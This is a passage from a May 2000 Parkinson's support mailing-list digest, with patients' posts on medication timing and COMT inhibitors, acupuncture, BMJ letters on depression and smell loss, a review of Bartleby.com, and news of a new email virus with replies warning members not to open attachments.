100/25 and 50/12.5 size, and take about 20 mins to feel the effect. That leaves you 2 more options: You can Stop the clock (which I suspect MJF did) OR - and this is serious - I do it all the time - Anticipate the need for the next tablet, and take the next tablet just before the old one starts to fade. You have to know precisely how long your tablet lasts. It is the only thing which enables me to remain fully active arfte 21 years of PD -- Brian Collins <[log in to unmask]> (60/39/34) ========================================================================= Date: Fri, 19 May 2000 05:23:08 -0400 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: janet paterson <[log in to unmask]> Subject: QT: seas Comments: cc: [log in to unmask] Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" books are the compasses and telescopes and sextants and charts which others have prepared to help us navigate the dangerous seas of human life jesse lee bennett janet paterson 53 now / 41 dx / 37 onset 613 256 8340 / PO Box 171 Almonte Ontario K0A 1A0 Canada visit my website "a new voice" at: http://www.geocities.com/janet313/ ========================================================================= Date: Fri, 19 May 2000 05:27:40 -0400 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: janet paterson <[log in to unmask]> Subject: NEWS: Tourbus: Bartleby Comments: cc: [log in to unmask] Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" -------- Bartleby -------- About five years ago, we visited a site at Columbia University called "Project Bartleby." Named after Herman Melville's short story "Bartleby, The Scrivener," Project Bartleby was yet another online library. What made Project Bartleby special, though, was that it was one of the first online libraries to fully embrace the Web. Each chapter of its books were individual Web pages with hyperlinks from chapter to chapter. This is pretty standard today, but back in 1995 it was rather new (or at least it was rather new to ME!). My only complaint about Project Bartleby back then was that its shelves were pretty bare -- the site only offered 11 books that you could read online. What a difference 5 years makes! I visited Project Bartleby a few days ago and discovered that not only does the project have a new Web site, it contains a heck of a lot more online books, including -- brace yourself -- the 1914 Oxford edition of the Complete Works of William Shakespeare! WOW! You can find Project Bartleby -- now named, simply, "Bartleby.com" -- on the Web at <A HREF="http://www.bartleby.com/"> http://www.bartleby.com/ </A>. Bartleby claims that it is the "most comprehensive public reference library ever published on the web." I couldn't agree more. The site has four sections, and the books that are available, online, in each of these sections is mind-boggling: 1. Reference ( http://www.bartleby.com/reference/ ) Included in this section is the Cambridge History of English & American Literature (all 18 volumes), H.L. Mencken's "The American Language: An Inquiry into the Development of English in the United States," Thomas Bulfinch's "The Age of Fable," Fannie Farmer's "The Boston Cooking-School Cook Book," and *MANY* more. 2. Verse ( http://www.bartleby.com/verse/ ). This section includes anthologies such as "The Oxford Book of English Verse" and "Yale Book of American Verse" as well as volumes of works by Emily Dickinson, T.S. Eliot, Robert Frost, A.E. Housman, John Keats, D.H. Lawrence, Carl Sandburg, and DOZENS of others. 3. Fiction ( http://www.bartleby.com/fiction/ ) You can explore this one on your own, but suffice it to say that Bartleby's fiction section includes works from F. Scott Fitzgerald, Nathaniel Hawthorne, Sinclair Lewis, Herman Melville (but of course!), and even Virginia Woolf (who frightens me). 4. Nonfiction ( http://www.bartleby.com/nonfiction/ ) This section contains some of the seminal works in history, from John Stuart Mill's "On Libery" and Thomas Paine's "Common Sense" to Booker T. Washington's "Up from Slavery" and Albert Einstein's "Relativity." The nonfiction section also includes the complete inaugural addresses of every US President from George Washington to Bill Clinton (and I am not ashamed to admit that, despite the fact that I am one of the burliest guys you will ever meet, Lincoln's Second Inaugural still brings tears to my eyes. THAT MAN COULD *WRITE*!). By the way, you can find the 1914 Oxford edition of the Complete Works of William Shakespeare in the Verse and Fiction sections, or you can just point your Web browser to <A HREF="http://www.bartleby.com/70/"> http://www.bartleby.com/70/ </A>. As I said earlier, what a difference 5 years makes. Bartleby.com is truly the most comprehensive public reference library ever published on the Web. If you are a college student who is just now starting to write those english term papers that were due back in February, both Bartlett's "Familiar Quotations" (man, Bartlett sure did say a lot of familiar stuff) and Strunk's "The Elements of Style" are going to come in handy. If you are looking for proof that men have NEVER asked for directions, the story of Odysseus (in Homer's Oddysseys) should pretty much nail that one down tight. And, if you know anyone who says "I would prefer not to" a lot, Melville's short story "Bartleby" is for you :) Tourbus Home: Archives, Free Stuff and More - http://www.TOURBUS.com ====================================================================== .~~~. )) (\__/) .' ) )) Patrick Douglas Crispen /o o \/ .~ {o_, \ { [log in to unmask] / , , ) \ http://www.netsquirrel.com/ `~ '-' \ } )) AOL Instant Messenger: Squirrel2K _( ( )_.' '---..{____} Warning: squirrels. ========================================================================= Date: Fri, 19 May 2000 05:55:32 -0400 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: janet paterson <[log in to unmask]> Subject: NEWS: NYTimes: New Bug Loose in Computers, Experts Say Comments: cc: [log in to unmask] Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" New Bug Loose in Computers, Experts Say May 19, 2000 - A new virus is eating its way through computers, and this one is smarter and more destructive than the worldwide "Love Bug" plague that inspired it, experts say. While the "Love Bug" was given away by the "ILOVEYOU" subject line of the e-mails that carried it, the new virus changes subject lines every time it is sent. It also destroys most of the files on the computers it infects. "Each time the virus spreads, it mutates itself to evade detection," according to Symantec Corp., an anti-virus software maker in Cupertino, Calif. The virus was detected at several large companies late Thursday, said Dave Perry, spokesman for another anti-virus software maker, Trend Micro Inc. in Cupertino. At one company, 5,000 computers were infected, said Perry, who would not identify any of the companies affected. The subject line of an infected e-mail starts with "FW: " and includes the name of a randomly chosen attachment from a previous e-mail on an infected computer. The e-mail will have an attachment with the same name, but ending in ".vbs." Clicking on the attachment will activate the virus. Like "Love Bug," it will send itself to everyone in the user's address book. It will then overwrite most files on the hard drive, rendering the computer useless until the operating system is reinstalled. So far, Microsoft's Outlook is the only e-mail program the virus is attacking, said Anita Chen, a spokeswoman for Trend Micro. Microsoft has said it will next week make available a modification to Outlook that will warn users about suspect e-mail attachments. The size of the virus's attachments are more likely to crash e-mail servers, experts said. The "Love Bug" had a small attachment, but crashed e-mail servers all over the world when it sent millions of copies of itself through the systems at once. The "Love Bug" spread like an avalanche to millions of computers two weeks ago. Estimates of the damages caused range up to $10 billion, and investigators have questioned several people in the Philippines during the search for the author. The relatively simple "Love Bug" virus was followed some hours later by slightly modified variants, posing as jokes or confirmations on Mother's Day gifts. None of the variants were very widespread. Trend Micro's Perry said he hoped that increased awareness among e-mail users would hold back the spread of the new virus. "Any time a virus hits a week after another virus, its potency is diminished," he said. "People tend to be a little more cautious." By THE ASSOCIATED PRESS Copyright 2000 The New York Times Company http://www.nytimes.com/yr/mo/day/news/financial/virus-ap.html ps i knew there was a good reason for my 'strange' ideas about microsoft! janet paterson 53 now / 41 dx / 37 onset 613 256 8340 / PO Box 171 Almonte Ontario K0A 1A0 Canada visit my website "a new voice" at: http://www.geocities.com/janet313/ ========================================================================= Date: Fri, 19 May 2000 06:08:25 -0400 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: janet paterson <[log in to unmask]> Subject: Re: PMTDabstracts Comments: cc: [log in to unmask] In-Reply-To: <[log in to unmask]> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" At 12:26 AM 2000/05/19 EDT, Mary Manfredi <[log in to unmask]> wrote: >Janet , >We, who are not so savvy at digging up the nitty=gritty news, >do appreciate your efforts on our behalf. >Nice selection ... >mm > thank you mary i thought it was interesting that this time, after struggling with the 'new and improved' PubMed website, i have finally conceded defeat in my desire to post all the pubmed abstracts about pd 163 in thirty days is becoming the normal 'barometer' reading there! [of pd abstracts accepted by PubMed in the last 30 days] three years ago it was only 20 or 30! so as soon as i decided that posting the summary of same would be the only realistic way to get any mention of all this research into our list archives, lo and behold, i 'chanced' upon a simple-to-download text version of what i had been arguing with for a month! when will i learn that these 'smacks upside my head' are simply ways and means of grabbing my attention??!!?? i.e no, not that way! hey, i said not that way! giannetta who sometimes knows that nothing is left to chance and who sometimes forgets janet paterson 53 now / 41 dx / 37 onset 613 256 8340 / PO Box 171 Almonte Ontario K0A 1A0 Canada visit my website "a new voice" at: http://www.geocities.com/janet313/ ========================================================================= Date: Fri, 19 May 2000 06:48:31 -0400 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Ivan M Suzman <[log in to unmask]> Subject: Re: LIST:-----M.J.F MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 7bit DON- Awesome how you said: On Thu, 18 May 2000 09:07:06 -0700 Don McKinley <[log in to unmask]> writes: > last night... 20/20 on MJF.... at times we did not know > if he was me or me or him That's how I feel-we PWP's are connected, like the blood of one family. Ivan Suzman 50/39/36 ========================================================================= Date: Fri, 19 May 2000 06:34:39 -0400 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Ivan M Suzman <[log in to unmask]> Subject: Re: San Jose/ singing/accommodation MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 7bit How about in the shower, you unlucky guy! ivan On Wed, 17 May 2000 12:13:07 -0500 doublea <[log in to unmask]> writes: > Ivan, > I feel I have lots of talents, but singing isn't close to being one. > I do > love to sing, but the last time I did... well let me tell you a true > story - > it was a beautiful spring day, and I was down in the lower pasture, > where I > caught my roping horse, Charlie (as in charlie horse, a real pain at > times) > I haltered him, and jumped up on him to ride him back to the barn to > saddle > him. I felt so great, I broke into a song. > Charlie just broke in two, knocked me on top of a barbwire fence, > drug me a > few yards, and then kicked me in the head - > 7 stitches, a broken jaw, and a very clear critique of my singing > ability. > > thanks for the advice, but I will pass on singing in public again > laughingly yours > bob aka tex ^^^^^^ WARM GREETINGS FROM ^^^^^^^^^^^^ :-) Ivan Suzman 50/39/36 [log in to unmask] :-) Portland, Maine land of lighthouses deg. F :-) ******************************************************************** ========================================================================= Date: Fri, 19 May 2000 06:37:55 -0400 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Ivan M Suzman <[log in to unmask]> Subject: Re: Your address please/video and audiio requests Comments: To: [log in to unmask] MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 7bit Ivan Suzman c/o CureIt Productions 9 Range Street Portland ME 04103 On Wed, 17 May 2000 13:17:06 EDT [log in to unmask] writes: > Ivan, > Please give me your complete address. I have (CUT) > Bonnie > > In a message dated 5/17/00 3:11:32 AM Eastern Daylight Time, > [log in to unmask] > writes: ========================================================================= Date: Fri, 19 May 2000 06:31:48 -0400 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Ivan M Suzman <[log in to unmask]> Subject: Re: Entacapone/Dose size; natural grape jelly MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 7bit Hey Barb, Yes! You're BACK on the List! THANK YOU for fighting so hard to be with us!! Now, your questions. YOUR QUESTION #2: Why the switch from Comtan to Tasmar? I ask every PWP that I run into, who happens to mention using Tasmar: Do you take 200 mg per dose, 100 mg, or 50 mg (100 mg pills cut in half)? The 200 mg dose might be too much for some people. My liver enzymes are PERFECtly NORMAL. I attribute my longer on-periods to Tasmar. PLUS, Comtan does NOT cross the blood-brain barrier, or so I am told; whereas Tasmar DOES. About fruit jelly with your pills: I think that your pills can be taken with applesauce also. Or how about this: This fall, I'll send you my famous Concord grape jelly. THis spring's grape leaves look better than ever, more abundant, lusher growth. My vines are now ten feet high, and 30 feet long. Any organic grape growers want to sponsor a TELEVISION ad of me supporting grapes- the natural way?? I gurantee you, my jelly is OUTSTANDING!! Ivan On Wed, 17 May 2000 08:49:57 EDT Barbara Blake-Krebs <[log in to unmask]> writes: > Hi all... Recently during a hospital stay, two of my PD meds were > changed: > > A. My agoniist -- Miirapex to Parlodel (Bromocriptine) > > B. My COMT -- from Tasmar to Comtan (Entacapone) 200 mg/dose > > I would like to know: > > 1. My understanding is that Comtan needs to be taken with > each dose > of Sinemet in order to boost the effectiveness of the Sinemet. Is > there a > window of time after takiing the Sinemet in which one may still > benefit from > taking the Comtan? > > 2. I take this pill generally in fruit jelly. It seems > 'chalky' to > me and I often find I have a reflux reaction or upset stomach (no > matter what > substance I use with it).. Is this very common with this med? > > thanks > > Barbara Blake-Krebs 59/44 > [log in to unmask] ^^^^^^ WARM GREETINGS FROM ^^^^^^^^^^^^ :-) Ivan Suzman 50/39/36 [log in to unmask] :-) Portland, Maine land of lighthouses deg. F :-) ******************************************************************** ========================================================================= Date: Fri, 19 May 2000 03:47:52 -0700 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Murray Charters <[log in to unmask]> Subject: Re: NEWS: NYTimes: New Bug Loose in Computers, Experts Say In-Reply-To: <[log in to unmask]> MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT On 19 May 2000, at 5:55, janet paterson wrote: > New Bug Loose in Computers, Experts Say SNIP > So far, Microsoft's Outlook is the only e-mail program the virus is attacking, SNIP > ps > i knew there was a good reason for my 'strange' ideas about microsoft! > janet paterson > Hi Janet and All, Thanks for the info. Hopefully, we can avoid these bugs by being extra vigilant when it comes to attachments and large unexpected downloads. Like you, I try to avoid Microsoft. I use Pegasus e-mail, (thankyou David Harris for a well behaved and very stable program) and I use the Norwegian program Opera as my browser. Incidently, Opera version 4 beta 4 is now available to download online at: http://www.operasoftware.com Opera just keeps getting better and better. I never use Netscape at all anymore and I have removed Internet Explorer. Getting back to bugs and e-mail.... If you should happen to delete a download and it turns out your daughter sent you a file containing jpeg pictures of your new granddaughter, don't sweat it... She'll resend it.... Mine did... And next time she'll send me a *headsup* e-mail first so I know what to expect. Best regards ........ murray [log in to unmask] View the Parkinson's Awareness Links at: http://www.geocities.com/janet313/pienet/wwweb/index.html ========================================================================= Date: Fri, 19 May 2000 07:10:14 -0400 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: janet paterson <[log in to unmask]> Subject: Re: NEWS: NYTimes: New Bug / old tricks Comments: cc: [log in to unmask] In-Reply-To: <[log in to unmask]> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" At 03:47 AM 2000/05/19 -0700, murray wrote: >On 19 May 2000, at 5:55, i wrote: >> New Bug Loose in Computers, Experts Say... > I never use Netscape at >all anymore and I have removed Internet Explorer.... i still use netscape [and opera] for browsing and eudora for mail part of my 'strange ideas' about microsoft involve my ongoing refusal to 'upgrade' from windows 3.1 to windows 95 or 98 which means i am still in 16-bit wonderland patiently awaiting linux so i have avoided Internet Explorer and Outlook Express and all those treasures which the hackers love to target [no comment!] irregardless i never open attachments anymore - they get automatically deleted unless i am specifically expecting something i have also been receiving a fair amount of trash e-mail lately so my delete key is of prime importance! janet janet paterson 53 now / 41 dx / 37 onset 613 256 8340 / PO Box 171 Almonte Ontario K0A 1A0 Canada visit my website "a new voice" at: http://www.geocities.com/janet313/ ========================================================================= Date: Fri, 19 May 2000 09:28:38 -0400 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Barbara Patterson <[log in to unmask]> Subject: NO Attachments MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Hi, Listmembers. Due to the spreading of current viruses, I suggest that we not open ANY attachments from ANYONE. To participate in the parkinsn list, attachments are unnecessary...this is a text-only medium so there is no point in posting messages in the attachment format which also means that there is not point in exposing our personal computers and those at our workplace and the University of Toronto to the current viruses. Please take a few moments to ensure that your email settings are "text only" or whatever phrase your system uses to send text-only messages. If a posting comes in the form of an attachment, please do not open it; just delete it. We may miss something we would benefit from but we also may miss something that would destroy the list. I am sure there will be objections but... Barb =========================================================================== Barbara Patterson [log in to unmask] HSC 2J22 905-525-9140, ext. 22403 School of Nursing =========================================================================== ========================================================================= Date: Fri, 19 May 2000 09:32:31 -0700 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Don McKinley <[log in to unmask]> Subject: LIST: M.J.F ON AND OFF MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable this will be short and sweet. M.J.F. in not diff from us. i thought all = PWP'S wear smart just a little slow on he up take. did you think the = news could just set there for 45min, and do nothing. they just fast = tracked it up. as i used to video weddings. i would stop at times to = same time and film but it looked fast. that is what took place. he = postal took 45 min. I.Y.Q. DON AND VIVIAN ========================================================================= Date: Fri, 19 May 2000 10:06:05 -0400 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Hilary Blue <[log in to unmask]> Subject: Re: INTREPID IVAN BREAKS NEW GROOUND MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit (review of ivan suzman's recent radio interview) > > ivan suzman has done it again! > And this time on radio! > And i know this is harder to achieve - > on TV there is a set -- to make you look comfortable - > so the odds are you are! > On radio you are probably propped up on a stool, staring at a mike! > Ivan is a natural conversationalist.. > The beginning of the interview saw Ivan at his usual high standard, > imparting much knowledge yet keeping it interesting. > But in the second half he seeemed to take off. > I felt he was talking to me personally, > yet i knew his message was getting across to thousnnds of listeners. > ivan, you need your own talk show! hilary blue (51/33/24 ========================================================================= Date: Fri, 19 May 2000 09:32:33 -0500 Reply-To: "Charles T. Meyer MD" <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: "Charles T. Meyer MD" <[log in to unmask]> Subject: Re: People Interested in Alternative Medicine MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Bob and Joanne, I agree with you 100%, Bob. In something like Bell's Palsy with it's spontaneous recovery in most people I would think that anything as dramatic as acupuncture has a tremendous placebo effect. As recovery occurs spontaneously it reinforces the effect and expectation for further recovery. Bell's Palsy is an ideal condition to demonstrate placebo response . Jo Ann. I don't doubt your perception that you improved with Acupuncture. At the same time I think that any proof that it works in a particular illness or condition needs to be done in controlled double blind studies as are proposed and being carried out by NIH. So many people are using unproven and perhaps even dangerous that it is important that the wheat be separated from the chaff. It is my sense also from a lot of anecdotal reports that it may be a good pain reliever but we will need to look at good studies to prove it. Charlie ----- Original Message ----- From: "Robert A. Fink, M. D." <[log in to unmask]> To: <[log in to unmask]> Sent: Thursday, May 18, 2000 9:35 PM Subject: Re: People Interested in Alternative Medicine > Date sent: Thu, 18 May 2000 20:18:32 EDT > Send reply to: Parkinson's Information Exchange Network <[log in to unmask]> > From: Jo Ann Coen <[log in to unmask]> > Subject: Re: People Interested in Alternative Medicine > To: [log in to unmask] > > > I chose acupunture, which helped me get > > over the paralysis quicker. So there are things that alternative > > practitioners can help. > > Jo Ann, > > How do you know that the acupuncture made the Bell's Palsy clear up > faster? I treat Bell's Palsy in my practice and there is really nothing > that makes it get better any faster than the nerve takes to recover its > function (which is not often total). > > The only way to really tell is to take an identical group of diagnosed > patients and treat half of them with acupuncture and the other half > with nothing. > > BTW, I think that acupuncture has its place in medicine. It is a good > pain-reliever, but it does not "cure" anything. > > > Best, > > Bob > > > ********************************************** > Robert A. Fink, M. D., F.A.C.S., P. C. > 2500 Milvia Street Suite 222 > Berkeley, California 94704-2636 > Telephone: 510-849-2555 FAX: 510-849-2557 > WWW: http://www.dovecom.com/rafink/ > > mailto:[log in to unmask] > > "Ex Tristitia Virtus" > > ********************************************* ========================================================================= Date: Fri, 19 May 2000 10:33:49 EDT Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Jo Ann Coen <[log in to unmask]> Subject: Re: People Interested in Alternative Medicine Bob Fink- Thanks for your reply. Do you think I may have just imagined a faster recovery? And of course you are right about an incomplete recovery. Mine occurred in 1992, and I still have some residual. My left eye is slightly drooped and the left side of my mouth also. I've practiced smiling so it's hardly noticable, but when I'm tired, it's more obvious. I still can't drink soda out of a can, I have to have a glass or cup. However, I'm much older than most patients who get it. I went to a cosmetic surgeon , who said he wouldn't touch a patient who had Bell's Palsy. Strange, huh? I've been told Bell's Palsy occurs when one has been emotionally traumatized. Is this true? Acupuncture did help me with one particular illness as long as I took the treatments, but shortly after I stopped, my illness recurred. Best wishes, Jo Ann from Houston ========================================================================= Date: Fri, 19 May 2000 10:59:35 EDT Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Jo Ann Coen <[log in to unmask]> Subject: listserv/archives I have a question and need an answer right away please . It's almost an emergency. But if people who are not on the listserv anymore can go into archives and read any message posted for the last 30 days, can they get into your personal mail also? Thanks to anyone who can answer. Jo Ann from Houston ========================================================================= Date: Fri, 19 May 2000 10:59:35 EDT Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Jo Ann Coen <[log in to unmask]> Subject: Re: People Interested in Alternative Medicine Juanita - Well! It seems we more in common that just loving a PWP. Maybe you saw my reply to Dr. Fink, but I have to tell you, I went to an acupuncturist and received some benefit, but when I realized I had residual, I went to a cosmetic surgeon for repair, and he said he wouldn't touch it. I didn't get a second opinion, because he explained that when they tighten the skin in the eyes, it sometimes affects the muscles. I know that occasionally I'll wake up with my eye not completely shut and have to shut my eyelid with my hand. I also can't drink soda out of a can, I need a glass or cup. Oh well, at my age, what's the difference? Best wishes, Jo Ann from Houston ========================================================================= Date: Fri, 19 May 2000 08:28:11 -0700 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Audrey <[log in to unmask]> Subject: Re: listserv/archives MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Only someone who had access to your password or a hacker can get past the protection you must have on your isp account. It is one thing I learned on Yahoo as my account was hacked there or someone passed information to another. I was charged on my VISA for porn site visits that had nothing to do with me and should have had nothing to do with Yahoo, but my Yahoo account was compromised and I had to change both it and my VISA check card numbers. It is serious once these happen to a person. Be careful who knows passwords always. *Seattle* Audrey ----- Original Message ----- From: " Jo Ann Coen" <[log in to unmask]> To: <[log in to unmask]> Sent: Friday, May 19, 2000 7:59 AM Subject: listserv/archives > I have a question and need an answer right away please . It's almost an > emergency. But if people who are not on the listserv anymore can go into > archives and read any message posted for the last 30 days, can they get > into your personal mail also? Thanks to anyone who can answer. Jo Ann > from Houston > ========================================================================= Date: Fri, 19 May 2000 11:28:37 -0400 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: janet paterson <[log in to unmask]> Subject: Re: NEWS: eBMJ: Editorial: Depression in PD: letter: Depression and PD Comments: cc: [log in to unmask] Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit Electronic response to: EDITORIALS Depression in Parkinson's disease Hervé Allain, Stéphane Schuck, and Nicolas Mauduit BMJ 2000; 320: 1287-1288 16 May 2000 Depression in Parkinson's disease "Must be properly diagnosed and treated to avoid serious morbidity." [1] "…doctors should ensure that it is diagnosed and properly treated." [1] Um…. Why? Call me old-fashioned, but I thought that in modern medicine we diagnosed and treated things because doing so would produce some benefit. But nowhere in the editorial by Allain and colleagues is there any reference to a study which suggests that treating what they call depression in Parkinson’s disease will do any good. Let alone that it will "avoid serious morbidity". Call me lazy (you won’t be the first) but I’m not sure that I as a reader should have to go off and do my own research to find justifications for the management plan advocated by the author of an editorial. It would have been quite nice to see just one reassuring citation which supported their proposal that treatment is of some use, but there is none. Instead there are a couple of worrying allusions. Firstly, what they mean by depression apparently does not correspond to my own familiar drug-responsive disease, lacking as it does all the negative distortions of thinking which are a core feature of the illness. Secondly, they call for clinical trials to determine the risk-benefit ratios of drug regimens, which is likely to set an old cynic like me a-wondering as to whether there actually are any benefits of these selfsame regimens in the first place. Or not. However their last paragraph does begin: "The depression associated with Parkinson’s disease must be treated. " [1] So that’s OK then. Tony Blair should double my salary. Tony Blair must double my salary. Maybe there’s something in this exhortation business after all…. 1. Allain H, Schuck S, Mauduit N. Depression in Parkinson’s disease. BMJ 2000;320 1287-8. David Curtis, Consultant psychiatrist Royal London Hospital, Whitechapel [log in to unmask] BMJ 2000. janet paterson 53 now / 41 dx / 37 onset 613 256 8340 / PO Box 171 Almonte Ontario K0A 1A0 Canada visit my website "a new voice" at: http://www.geocities.com/janet313/ ========================================================================= Date: Fri, 19 May 2000 11:29:02 -0400 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: janet paterson <[log in to unmask]> Subject: Re: NEWS: eBMJ: Editorial: Depression in PD: letter: Olfactory disorder and PD Comments: cc: [log in to unmask] Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit Electronic response to: EDITORIALS Depression in Parkinson's disease Hervé Allain, Stéphane Schuck, and Nicolas Mauduit BMJ 2000; 320: 1287-1288 15 May 2000 Olfactory disorder and Parkinson’s Disease Dear Editor, Aside from motor and cognitive deficits, Parkinson patients also manifest an olfactory deficit. Decrease of olfactory function and odor aversion have been reported among the first symptoms in patients with Parkinson's disease (PD) by several authors [1-3]. A large number of clinical studies have also reported that olfactory loss in idiopathic PD is bilateral, present in hemiparkinsonism, unrelated to the stage or clinical subtype of the disease, and independent of antiparkinsonian medication.[4] [2] The intranasal chemosensory trigeminal system seemingly was neither affected by the neuronal degeneration seen in PD nor by treatment with antiparkinsonian drugs.[2]. The olfactory vector hypothesis even suggests that the causative agent for PD enters the brain via the nasal route, however the reason for olfactory dysfunction may be more subtle. It has been proposed that the initial causative event in PD may start in the rhinencephalon (olfactory brain) prior to damage in the basal ganglia.[7] Steven van Toller the impacted of olfactory loss on the quality of life and described that the inability to detect odours, anosmia, can cause profound psychological effects resulting in feelings of physical and social vulnerability and victimization. In addition, there may be unhappiness related to the loss of the ability to detect pleasurable food smells and, as a consequence, anosmics may develop problems relating to eating. These profound effects arise from a condition which can have a rapid onset and a very poor prognosis for recovery, and are largely treated with a lack of sympathy and indifference by people with normal olfactory ability. [9] The! se f indings could be the basis of the depression and by solving this problem the score of the quality of life could improve. In an animal experiment Fernandez-Ruiz et al [6] demonstrated that catecholamine replacement therapy leads not only to normal catecholamine levels, but also restored olfactory aversion. It was finally concluded from this study that catecholamine depletion of the amygdala is sufficient to produce a selective olfactory deficit, and that such a deficit can be reversed by adrenal medullary transplants. There was no human data available to us, although it would be very interessting. 1. Adler, C.H., K.A. Gwinn, and S. Newman, Olfactory function in restless legs syndrome. Mov Disord, 1998. 13(3): p. 563-5. 2. Barz, S., et al., Chemosensory event-related potentials in response to trigeminal and olfactory stimulation in idiopathic Parkinson's disease. Neurology, 1997. 49(5): p. 1424-31. 3. Doty, R.L., D.A. Deems, and S. Stellar, Olfactory dysfunction in parkinsonism: a general deficit unrelated to neurologic signs, disease stage, or disease duration. Neurology, 1988. 38(8): p.1237-44. 4. Liberini, P., et al., Olfaction in Parkinson's disease: methods of assessment and clinical relevance [In Process Citation]. J Neurol, 2000. 247(2): p. 88-96. 5. Doty, R.L., et al., Olfactory dysfunction in three neurodegenerative diseases. Geriatrics, 1991. 46 Suppl 1: p. 47-51. 6. Fernandez-Ruiz, J., et al., Adrenal medullary grafts restore olfactory deficits and catecholamine levels of 6-OHDA amygdala lesioned animals. J Neural Transplant Plast, 1993. 4(4): p. 289-97. 7. Hawkes, C.H., B.C. Shephard, and S.E. Daniel, Is Parkinson's disease a primary olfactory disorder? Qjm, 1999. 92(8): p. 473-80. 8. Levin, B.E. and H.L. Katzen, Early cognitive changes and nondementing behavioral abnormalities in Parkinson's disease. Adv Neurol, 1995. 65: p. 85-95. 9. Toller, S.V., Assessing the impact of anosmia: review of a questionnaire's findings. Chem Senses, 1999. 24(6): p. 705-12. Andreas F P Temmel, Christian Quint, Josef Toth, Senior Registrar Dept of ENT, University of Vienna [log in to unmask] BMJ 2000. janet paterson 53 now / 41 dx / 37 onset 613 256 8340 / PO Box 171 Almonte Ontario K0A 1A0 Canada visit my website "a new voice" at: http://www.geocities.com/janet313/ ========================================================================= Date: Fri, 19 May 2000 11:55:46 -0400 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: janet paterson <[log in to unmask]> Subject: NEWS: NewsScan: Donald B. Calne, Neurologist Comments: cc: [log in to unmask] Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" NewsScan Daily, 19 May 2000 ("Above The Fold") WORTH THINKING ABOUT: WHY WE DO WHAT WE DO Neurologist Donald B. Calne says: "Reason is a biological product -- a tool whose power is inherently and substantially restricted. It has improved how we do things; it has not changed why we do things. Reason has generated knowledge enabling us to fly around the world in less than two days. Yet we still travel for the same purposes that drove our ancient ancestors -- commerce, conquest, religion, romance, curiosity, or escape from overcrowding, poverty, and persecution. "To deny that reason has a role in setting our goals seems, at first, rather odd. A personal decision to go on a diet or take more exercise appears to be based upon reason. The same might be said for a government decision to raise taxes or sign a trade treaty. But reason is only contributing to the 'how' portion of these decisions; the more fundamental 'why' element, for all of these examples, is driven by instinctive self-preservation, emotional needs, and cultural attitudes. We are usually reluctant to admit the extent to which these forces govern our behavior, and accordingly we often recruit reason to explain and justify our actions. " See: "http://www.amazon.com/exec/obidos/ASIN/0375403515/newsscancom/" for Donald B. Calne's "Within Reason: Rationality and Human Behavior." (We donate all revenue from our book recommendations to adult literacy programs.) TELL YOUR FRIENDS ABOUT NEWSSCAN DAILY! Send them our little frog: "http://www.newsscan.com/newsscan/newscup.html" Copyright 2000. NewsScan Daily (R) is a publication of NewsScan.com Inc. janet 